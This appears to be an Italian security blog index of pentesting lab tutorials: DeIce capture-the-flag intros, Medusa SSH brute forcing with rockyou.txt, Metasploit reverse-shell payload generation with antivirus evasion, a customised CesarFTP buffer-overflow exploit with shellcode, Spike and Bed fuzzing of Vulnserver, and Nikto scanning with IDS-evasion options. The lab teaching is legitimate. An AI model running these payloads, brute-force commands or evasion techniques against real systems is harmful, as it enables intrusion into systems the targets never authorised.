HackingLab – DeIce #1.110

Password Attacks – Remote and Local Password Attacks {contains spoilers}

“Questa è la storia, Charlie il CEO di una piccola società, la No Security Corp.’s, dopo che siete riusciti ad ottenere il file dei salari dal server http compromesso vi invita ad effettuare un nuovo tentativo di pentesting a partire da un server FTP che è stato installato a partire da un server che inizialmente conteneva i dati sensibili dei clienti della No Security Corp.’s e che, a detta degli amministratori di sistema, è stato riconfigurato e non contiene più informazioni sensibili.
Il precedente sito web conteneva invece informazioni sensibili dei clienti della No Security Corp’s; come prova dell’accesso fornite il file in chiaro.
Potete cominciare quando volete.
Buona fortuna.”

La home page dell’ftp server della No Security Corp.’s
EnumerationARP-SCAN
NMAP
NIKTO
LEGION
Password AttacksJOHN

HackingLab – DeIce #1.100

Password Attacks – Remote and Local Password Attacks {contains spoilers}

“Questa è la storia, Charlie il CEO di una piccola società, la No Security Corp.’s, vi invita ad effettuare un tentativo di pentesting a partire da un sito web che contiene unicamente l’elenco dei dipendenti con le loro email; sul server è presente il file con i salari del personale del mese di Dicembre del 2003 in formato encriptato: come prova dell’accesso fornite il file in chiaro.
Il CEO è così sicuro della sicurezza della sua società e dei suoi sistemi, e ancor di più dei suoi esperti informatici, che vi da 5 giorni. di tempo.
Potete cominciare quando volete.
Buona fortuna.”

La home page del sito aziendale della No Security Corp.’s
EnumerationARP-SCAN
NMAP
NIKTO
LEGION
WebSite EnumerationDIRBUSTER
DIRB
GOBUSTER
SSH Brute ForcingHYDRA
LEGION
Password AttacksJOHN

Password Attack parte 2

ON-LINE Attack

Vediamo in questa scheda come usare tool per attacchi brute-force e con dizionari on-line, analizzando come primo esempio medusa.

La sintassi di Medusa è la seguente:
medusa -h HOST -u USERNAME -p PASSWORD -O OUTPUTFILE -M MODULENAME -n PORTNUMBER
oppure è possibile appoggiarsi a file testuali con la seguente sintassi:
medusa -H HOSTLIST -U USERLIST -P PASSWORDLIST -O OUTPUTFILE -M MODULENAME -n PORTNUMBER

I moduli a disposizione di medusa sono i seguenti:

  • cvs
  • ftp
  • http
  • imap
  • mssql
  • mysql
  • nntp
  • pcanywhere
  • pop3
  • postgresql
  • rexec
  • rlogin
  • rsh
  • smbnt
  • smtp
  • ssh
  • svn
  • telnet
  • vmauth
  • vnc
  • web-form

Volendo effettuare un attacco login ssh per il server che risponde all’IP 192.168.188.42 utilizzando un file per l’elenco utenti ed uno per le password possiamo scrivere:
medusa -h 192.168.188.42 -U Nomi -P rockyou.txt -M ssh -n 22

Nella schermata vediamo come Medusa per il primo utente della lista “michal” effettua uno dopo l’altro i tentativi di login tramite ssh.

Password Attack parte 1

Introduzione

In questa lezione vedremo come potremo accedere ad un sistema o ad ai suoi dati tramite azioni di escalation di privilegi, ad esempio accedendo come guest ed acquisendo successivamente i privilegi di root. Questa attività può essere svolta con attività di password cracking o, eventualmente con azioni di social engineering; nel nostro caso ci concentreremo sulle prime.

Sicuramente la soluzione migliore per un escalation di privilegi è quella che ci permette di accedere ad un account che non sia il nostro e che abbia privilegi di accesso e di esecuzione più elevati; visto che la maggior parte dei sistemi si basa ancora sulle logiche di autenticazione a fattore singolo, poter ad esempio ottenere gli hash di una password e successivamente identificarne la password corrispondente ci permetterà di effettuare login con l’utenza associata alla password appena identificata.

Ci sono quattro principali tipologie di Password Attack:

  • Attacchi attivi on-line, o attacchi remoti, dove si tenterà di accedere ad un sistema attraverso la rete (internet o locale);
  • Attacchi passivi on-line, dove si tenterà di monitorare la rete nel tentativo di catturare (sniffing) una eventuale password;
  • Attacchi off-line, o attacchi locali, dove si tenterà di craccare l’hash di una password;
  • Attacchi non elettronici, o social engineering, dove non verranno utilizzati strumenti informatici per ottenere la password, ma attività “sociali“.

Exploiting – Metasploit

Utilizzare Metasploit per embeddare un payload in un eseguibile

Nell’esercizio di oggi vedremo come generare un payload per effettuare un attacco client side su una macchina Windows XP SP3 Italiano e come evitare che il payload venga riconosciuto dai programmi di antivirus.

Avremo bisogno di metasploit per creare e codificare il payload, di una macchina virtuale con Windows installato e di una applicazione dove embeddare il codice del payload: utilizzeremo allo scopo “calc.exe”.

Come prima cosa generiamo un payload stand alone basato su “windows/shell_reverse_tcp_allports”

Per fare questo digitiamo il seguente comando:

msfpayload windows/shell/reverse_tcp_allports LHOST=192.168.148.129 LPORT=31337 X > /var/www/payload_allports.exe

Image

Nel comando abbiamo indicato il tipo di payload, l’ip della macchina da cui originiamo l’attacco, la porta su cui meterpreter ascolterà e con X abbiamo detto a MSFpayload che vogliamo un payload stand alone. Abbiamo quindi salvato il codice risultante dal comando nella home di apache così da poterlo scaricare dalla macchina target attraverso un comune browser web.

Prima di eseguire il payload dalla macchina XP dobbiamo lanciare meterpreter e predisporlo all’ascolto sulla porta indicata nel payload stesso; per fare questo eseguiamo i seguenti comandi:

Read more “Exploiting – Metasploit”

Exploiting – Meterpreter

Customizzare un exploit e ottenere una shell con Meterpreter

Oggi vediamo come adattare un exploit generico ad una specifica macchina con un dato sistema operativo e patch; nello specifico utilizzeremo una installazione di Windows XP SP3 in Italiano e la versione 0.99g di CesarFtp. Per creare l’exploit utilizzeremo Metasploit, OllyDBG.

La prima cosa da fare è verificare quali exploit siano disponibili per CesarFtp e scaricarli; successivamente si tratta di vedere come personalizzarli per poter effettuare l’attacco.

Una breve ricerca su exploitDB (http://www.exploit-db.com) ci ritorna come risultato differenti exploit; per l’esercizio di oggi utilizzeremo CesarFTP 0.99g (MKD) Remote Buffer Overflow Exploit che può essere scaricato al link http://www.exploit-db.com/exploits/1906/

Apriamo l’exploit con un editor di testo e cerchiamo le parti di codice da customizzare che elenchiamo qui di seguito:

La prima parte da personalizzare sarà quella relativa allo shell code

shellcode = ( #execute calc.exe <metasploit.com>

“\x31\xc9\x83\xe9\xdb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8”

“\x22\x72\xe4\x83\xeb\xfc\xe2\xf4\x24\xca\x34\xe4\xd8\x22\xf9\xa1”

“\xe4\xa9\x0e\xe1\xa0\x23\x9d\x6f\x97\x3a\xf9\xbb\xf8\x23\x99\x07”

“\xf6\x6b\xf9\xd0\x53\x23\x9c\xd5\x18\xbb\xde\x60\x18\x56\x75\x25”

“\x12\x2f\x73\x26\x33\xd6\x49\xb0\xfc\x26\x07\x07\x53\x7d\x56\xe5”

“\x33\x44\xf9\xe8\x93\xa9\x2d\xf8\xd9\xc9\xf9\xf8\x53\x23\x99\x6d”

“\x84\x06\x76\x27\xe9\xe2\x16\x6f\x98\x12\xf7\x24\xa0\x2d\xf9\xa4”

“\xd4\xa9\x02\xf8\x75\xa9\x1a\xec\x31\x29\x72\xe4\xd8\xa9\x32\xd0”

“\xdd\x5e\x72\xe4\xd8\xa9\x1a\xd8\x87\x13\x84\x84\x8e\xc9\x7f\x8c”

“\x28\xa8\x76\xbb\xb0\xba\x8c\x6e\xd6\x75\x8d\x03\x30\xcc\x8d\x1b”

“\x27\x41\x13\x88\xbb\x0c\x17\x9c\xbd\x22\x72\xe4”)

Mentre la seconda parte sarà quella relativa ai parametri

host = “127.0.0.1”

port = 21

user = “h07”

password = “open”

EIP = 0x7CA58265 #jmp esp <shell32.dll XP sp2 polish>

L’exploit richiede espressamente il parametro EIP relativo ad uno specifico processo, o dll, o applicazione che, nel nostro caso, deve girare sulla macchina con privilegi amministrativi.

Read more “Exploiting – Meterpreter”

Exploiting – Fuzzing parte 3

Usare Spike

In questo terzo esercizio di fuzzing utilizzeremo sempre con “Vulnserv” una nuova applicazione: “Spike

 Spike è un toolkit che permette attraverso la scrittura di script di effettuare test di vulnerabilità su applicazioni web o standalone attraverso tecniche di buffer overflow.

Al momento la documentazione su Spike e sullo scripting è quasi inesistente per queste ragioni l’esercizio di oggi potrebbe risultare un po’ ostico; il suggerimento per scrivere script customizzati per Spike è quello di fare opera di reverse engineering a partire dagli script forniti con il tool. Per scrivere scripting è richiesta una conoscenza basica di c, di Perl e del protocollo Tcp/ip.

Per poter seguire gli esercizi è necessario approntare due macchine: una macchina Linux da cui effettueremo gli attacchi ed una macchina windows che sarà la macchina target degli attacchi.

Sulla macchina Linux utilizzeremo i seguenti tool:

  • Netcat – disponibile sia su Backtrack, sia su Kali
  • Wireshark –disponibile sia su Backtrack, sia su Kali
  • Un interprete Perl
  • Spike – disponibile sia su Backtrack (consigliato aggiornarlo all’ultima release), sia su Kali, che puo’ essere scaricato all’indirizzo http://www.immunitysec.com/resources-freesoftware.shtml

Sulla macchina Windows utilizzeremo i seguenti tool:

Introduzione a SPIKE

Come introdotto Spike è una serie di API e di tool che permettono la creazione di stress test su diversi protocolli di networking (Tcp/ip, Ftp, http, …).

In Spike sono state codificate una serie di stringhe volte a produrre i più disparati errori nelle applicazioni oggetto di exploiting; una delle caratteristiche più importanti dell’applicativo è che non è necessario da parte dell’utente specificare i valori che queste stringhe devono assumere in quanto questa attività viene svolta direttamente da Spike.

Le stringhe inviate da Spike prendono il numero di “Spikes”: le Spikes sono composte da una serie di moduli chiamati “Blocks”. Un Block e’ una sezione di uno Spike di una determinata lunghezza con predeterminati valori generata dall’applicativo a secondo della customizzazione dello stesso.

Con Spike inoltre vengono fornite tutta una serie di primitive che possono essere utilizzate a seconda dei protocolli che si vogliono testare: nel caso in cui si voglia ad esempio testare il protocollo Tcp/Ip, come nel caso di Vulnserver, ci si potrà appoggiare alla primitiva “generic_send_tcp”; le primitive si trovano nella cartella “src” ed hanno come estensione “.spk

Di seguito un elenco di alcune primitive messe a disposizione dal tool:

  • Apachechunked
  • Generic_send_tcp
  • Generic_send_udp
  • Generic_web_server_fuzz

Ogni primitiva accetterà un determinato set di parametri: la primitiva “generic_send_tcp” ad esempio richiederà un indirizzo IP, una porta, uno script ed alcune variabili; per eseguire il comando si scriverà “./generic_send_tcp <indirizzo ip> <porta> <nome_script.spk> <SKIPVAR> <SKIPSTR>”.

SKIPVAR e SKIPSTR vengono utilizzate per saltare ad una determinata riga dello script contando la prima stringa e la prima variabile a partire da 0: per iniziare la scansione dalla terza stringa dovremo valorizzare SKIPSTR con “2”. Qualora volessimo effettuare una scansione dall’inizio dello script basterà valorizzare sia SKIPVAR, sia SKIPSTR a “0”.

Lo scripting con SPIKE

La prima cosa da farsi per avere una idea di quali primitive sono a disposizione di Spike è quella di aprire con un editor di testo, come ad esempio Bluefish, il file “spike.h” presente nella cartella “/src”; per capire invece come utilizzare i comandi la cosa migliore da farsi è aprire i file con estensione “.spk”.

Vediamo di seguito alcuni dei comandi utilizzabili negli script; importante ricordare che possono essere utilizzati solo i comandi “inizializzati” in spike.h.

Utilizzare le stringhe

Tramite le stringhe si posso aggiungere caratteri ASCII alle Spikes; i comandi più importanti sono:

  • s_string(“stringa”) – stampa nella Spike la stringa indicata tra “”
  • s_string_repeat(“stringa”,numero_ripetizioni) – stampa x volte la stringa indicata tra “”
  • s_string_variable(“stringa”) – inserisce una variabile dopo la stringa; la prima variabile e’ quella indicata nel comando, le successive sono generate

Utilizzare Binary Data

Con il comando “binary” possono essere inseriti valori secondo la codifica binaria:

  • s_binary(“\\x41”) – inserisce il valore corrispondente al valore esadecimale 0x41 (ASCII = A)
  • s_binary_repeat(\\x41,200) – ripete 200 volte il valore esadecimale 0x41 (ASCII = A)

Utilizzare la primitiva block e block_size

Tramite i Blocks e’ possibile definire inizio e fine di un Block all’interno di uno script

  • s_block_start(“block1”) – Indica che in quel punto dello script inizia la sezione denominata block1
  • s_block_end(“block1”) – Indica che in quel punto dello script termina la sezione denominata block1
  • s_blocksize_string(“block1”, dimensione) – aggiunge una stringa della lunghezza di 2 caratteri all’interno della sezione denominata block1
  • s_binary_block_size_byte(“block1”, 1) – aggiunge 1 byte all’interno della sezione denominata block1

Leggere l’output dalla macchina target

Tramite i seguenti comandi è possibile leggere ed interpretare l’output inviato dalla macchina target:

  • s_read_packet() – Legge e stampa a schermo l’output inviato dalla macchina target
  • s_readline() – Legge e stampa a schermo una singola riga inviata dalla macchina target

Uno script di esempio

Vediamo ora un semplicissimo script che tenterà di exploitare uno script php chiamato “testme.php” e valorizzerà la variabile “inputvar” con una stringa che partirà da una determinata lunghezza “data_size”.

Il testo da produrre sarà il seguente:

POST /testme.php HTTP/1.1
Host: testserver.example.com
Content-Length: [data_size]
Connection: close
inputvar=[fuzz_string]

Lo script per produrre tale risultato è il seguente:

s_string(“POST /testme.php HTTP/1.1\r\n”);
s_string(“Host: testserver.example.com\r\n”);
s_string(“Content-Length: “);
s_blocksize_string(“block1”, 5);
s_string(“\r\nConnection: close\r\n\r\n”);
s_block_start(“block1”);
s_string(“inputvar=”);
s_string_variable(“inputval”);
s_block_end(“block1”);

Nel prossimo articolo vedremo come utilizzare Spike per attaccare Vulnserver precedentemente installato sulla macchina target Windows

vediamo come customizzare uno script così da poterlo utilizzare con Vulnserver.

Installiamo quindi come prima cosa le applicazioni sulla macchina target: OllyDBG e Vulnserver (i riferimenti si trovano nell’articolo precedente (http://greyhathacking.wordpress.com/2013/04/06/exploit-fuzzing-3-usare-spike-parte-1/).

Eseguiamo quindi OllyDBG con privilegi di Amministratore e dal debugger lanciamo Vulnserver; per fare questo premiamo F3 (o “File – open”) selezioniamo Vulnserver e in Arguments digitiamo la porta su cui Vulnserver ascolterà le connessioni, ovvero 4444.

Premiamo infine F9 (o “Debug – run”) così da eseguire il programma.

Image

Vale la pena a questo punto di ricordare brevemente come funziona Vulnserver: si tratta di un applicativo scritto ad hoc per effettuare test di verifica di fuzzing o buffer overflow, una volta lanciato il programma questo si mette ad ascoltare su una determinata porta ed accetta una serie di comandi seguiti da stringhe di caratteri.

Read more “Exploiting – Fuzzing parte 3”

Exploiting – Fuzzing parte 2

Usare e customizzare Bed

In questo secondo esercizio di fuzzing utilizzeremo “Vulnserver” una applicazione Windows appositamente sviluppata per tentativi di exploit di buffer overflow unitamente a “Bed”.

Bed (Bruteforce Exploit Detector) è una applicazione sviluppata in Perl che permette attacchi fuzzing secondo differenti protocolli e per differenti applicativi che può essere customizzata attraverso plug-in scritti in Perl così da sposare tutte le più disparate esigenze. Va da se che per poter seguire questo esercizio è suggerita una qualche base di programmazione e qualche conoscenza di Perl.

Vulnserver può essere scaricato all’indirizzo: http://sites.google.com/site/lupingreycorner/vulnserver.zip

Bed è già presente in BackTrack 5R3 ed in kali e può essere scaricato all’indirizzo: http://www.aldeid.com/wiki/Bed

Lo script che utilizzeremo in questo esercizio è scaricabile dal seguente link: https://mega.co.nz/#!o1hlkQKZ!JA-EpC-Y2vfX8WvEylOa1EN1nYEi3Zy199gDD8S3Mhk

Qualora non aveste già installato un editor per script e programmi consiglio di utilizzare Bluefish che può essere installato con “apt-get install bluefish” o scaricato dal link: http://bfwiki.tellefsen.net/index.php/Installing_Bluefish

Prima di tutto vediamo velocemente il funzionamento di Bed.

Read more “Exploiting – Fuzzing parte 2”

Exploiting – Fuzzing parte 1

Le basi

Il “Fuzz Testing” è una tecnica di exploiting relativa all’invio di caratteri random come input alla richiesta di un applicativo.

Tale applicativo può ricevere i dati dall’utente ad inserimento di credenziali per ottenere accesso, nell’aprire un file o nell’inserire dati in ram; l’applicativo può essere tanto una web application scritta in perl, php, Javascript o una applicativa stand alone scritta in C, C++ e così via.

Un esempio di Fuzzing potrebbe essere una web form di un sito di e-commerce che in una POST invia al server valori predefiniti: 0 in caso di pagamento con Carta di Credito e 1 in caso di pagamento tramite PayPal. Volendo exploitare tale applicazione e’ possibile ricostruire la stringa inviata come POST ed al posto di 0 o 1 inserire un qualisasi altro intero, ad esempio 100. Qualora l’applicazione non sia stata scritta correttamente tale azione potrebbe bloccare o addirittura provocare l’uscita con errore dall’applicazione stessa.

Vediamo ora un semplice programma in C scritto in modo da permettere un exploit di tipo Fuzzing:

Read more “Exploiting – Fuzzing parte 1”

Web Vulnerability Assessment parte 2

Usare Nikto

Quando, effettuando una scansione di un server, si trovano aperte le porte 80 o 443: rispettivamente http ed https, è il caso di effettuare una serie di Vulnerability Assessment per verificare possibili vulnerabilità collegate ad un Server Web.

Dopo aver lanciato la scansione del sito con DirBuster, per verificare vulnerabilità note sui server web e’ consigliato usare Nikto.

Nikto è giunto alla versione 2.1.5 e può essere scaricato all’indirizzo http://www.cirt.net/nikto/nikto-2.1.5.tar.bz2

Installazione

Nikto per essere eseguito necessita dell’interprete perl installato; nel caso di BackTrack o di Kali Nikto risulta essere già installato e non richiede alcuna installazione aggiuntiva; nel caso di distribuzioni linux e windows sarà necessario installare un interprete perl: consiglio vivamente l’installazione di ActivePerl.

ActivePerl è disponibile per Windows, MacOS X e Linux sia in versione 32 bit, sia in versione 64 bit e può essere scaricato dall’indirizzo http://www.activestate.com/activeperl/downloads

In aggiunta ad un interprete perl è necessario verificare l’installazione di altri moduli:

Nel caso si voglia verificare la presenza di aggiornamenti si può utilizzare il comando: “perl nikto.pl –update”.

Comandi di base

Per eseguire nikto sarà necessario dare il comando “perl nikto.pl <parametri>”

Per una scansione basica basterà utilizzare la sintassi: “nikto –h <hostip> -p <portnumber>” dove per portnumber si può specificare la porta: 80, 443 o una porta custom; in aggiunta nel caso di connessione https è possibile aggiungere il parametro –ssl “nikto –h https:<url> -p 443 –ssl”.

Nel caso in cui si voglia effettuare la scansione su piu’ porte allo stesso tempo e’ sufficiente separare le porte con “,” facendole precedere dal parametro –p “nikto –h <hostip> -p 80,443,8080”.

Volendo effettuare una scansione su più host è possibile utilizzare un file di testo al cui interno sono stati riportati gli host uno per riga utilizzando i seguenti formati:

E’ anche possibile utilizzare l’output di una scansione effettuata con nmap; in questo caso la sintassi sara’ la seguente: “nmap –p80 192.168.0.0/24 –oG – | nikto.pl –h –

Nel caso di connessione attraverso proxy è possibile specificare l’indirizzo del proxy aggiungendo alla fine della linea di comando il parametro: “-useproxy http://<proxyurl:proxyport>/

Comandi evoluti

Di seguito sono elencati i parametri più significativi

 -Display – utilizzato per indicare quali informazioni debbano comparire nell’output della scansione:

  • 1 – Mostra le redirect
  • 2 – Mostra i cookie ricevuti
  • 3 – Mostra le risposte 200/OK
  • 4 – Mostra gli URL che richiedono autenticazione
  • E – Mostra tutti gli errori http

-evasion – può essere richiamato nel caso in cui sia stata installata la libreria LibWhisker e permette di applicare delle tecniche di encoding o di evasione (da notare che l’unica vera opzione che può avere effetto con i moderni IDS è quella del Session Splicing)

  • 1- Utilizza un encoding random
  • 2 – Aggiunge “/./” di fronte a ogni URL
  • 3 – Aggiunge di fronte a ogni URL delle directory random e poi per ogni directory “../”: ad esempio “/foo/bar/../../icon”. Alla fine verrà richiesta la directory icon e le directory precedenti verranno ignorate
  • 4 – Come nel caso dell’opzione 3, solo che aggiunge stringhe random di lunghezza maggiore
  • 5 – Aggiunge finti parametri: “/url/?foo=bar
  • 6 – Utilizza il carattere di tabulazione invece di utilizzare gli spazi per separare gli elementi dell’url
  • 7 – cambia alcuni caratteri minuscoli dell’url in caratteri maiuscolo; questo non ha effetto su macchine windows
  • 8 – utilizza “\” invece di “/” come separatore per le directory
  • 9 – Session Splicing: l’idea alla base del session splicing è quella di segmentare ogni richiesta in una serie di richieste contenenti ognuna solo una parte dei pacchetti relativi alla richiesta. In questo modo è possibile ingannare alcuni IDS.

-o – viene utilizzato per specificare il nome del file di output

-Format – indica il formato di output della scansione ed è da utilizzarsi unitamente al comando “-o”; possono essere utilizzati i seguenti parametri:

  • Csv – comma separated file
  • Htm – file html
  • Msf – file importabile in Metasploit; in questo caso si deve indicare la password di accesso ed il path relativo al servizio Metasploit RPC “-o msf:<password>@http://localhost:55553/RPC2
  • Txt – file test
  • Xml – file xml

-id – viene utilizzato per specificare username e password di autenticazione al sito da scansionare secondo il formato “id:password

-Tuning – viene utilizzato per settare le opzioni di scansione; possono essere indicate le seguenti opzioni:

  • 0 – Nikto controlla la vulnerabilità del sito agli exploit che caricano un file sull’host target
  • 1 – Interesting File / Seen in logs ( !! Non è chiaro cosa faccia)
  • 2 – Nikto controlla che esistano dei file di configurazione di default o che vi siano file di configurazione errati
  • 3 – Nikto cerca di ottenere informazioni circa l’host oggetto della scansione, simile al fingerprinting di Nmap
  • 4 – Nikto verifica la vulnerabilità a tutti i tipi di injection, ad eccezione fatta per la “command injection
  • 5 – Nikto verifica la possibilità di scaricare file presenti nella directory root del server
  • 6 – Nikto verifica se vi sono i presupposti per un attacco di tipo DoS senza però effettuare alcun attacco
  • 7 – Nikto verifica la possibilità di scaricare file presenti nella directory del server
  • 8 – Nikto verifica la possibilità di eseguire comandi o di aprire una shell remota
  • 9 – Nikto verifica la possibilità di effettuare qualsivoglia attacco di tipo “SQL Injection
  • a – Nikto verifica la possibilità di accedere a risorse che non dovrebbero essere normalmente accessibili
  • b – Nikto cerca di ottenere la lista dei software installati sull’host target
  • c – Nikto verifica la possibilità di uplodare porzioni di codice sorgente
  • x – Consente di specificare quali opzioni di tuning escludere dalla scansione

-Save – permette di salvare su file tutte le richieste inviate all’host target; questa opzione e’ particolarmente utile nel caso in cui si voglia utilizzare una applicazione quale “replay.pl” per rieseguire le richieste effettuate in fase di scansione

Plugins

Il comando “–Plugin” merita una sezione dedicata: tale comando permette di specificare quali plugin utilizzare; i plugin sono elencati nella directory “plugins”. Per selezionare tutti i plugin si puo’ utilizzare il parametro “@@all”; per non utilizzare alcun plugin invece si può utilizzare il parametro “@@none”. Per specificare singoli plugin è sufficiente indicare il nome del plugin.

La sintassi per eseguire un plugin è la seguente: “nomeplugin(parametro:valore,parametro:valore,…)

Plugin sostituisce anche il vecchio parametro “–mutate” deprecato a partire dalla versione 2.1.2

Risultati

I risultati della scansione di vulnerabilita’ vengono riportati facendo riferimento ai codici OSVDB (OpenSource Vulnerability Database); a seguire un esempio di scansione effettuata verso la macchina virtuale UltimateLAMP

NIkto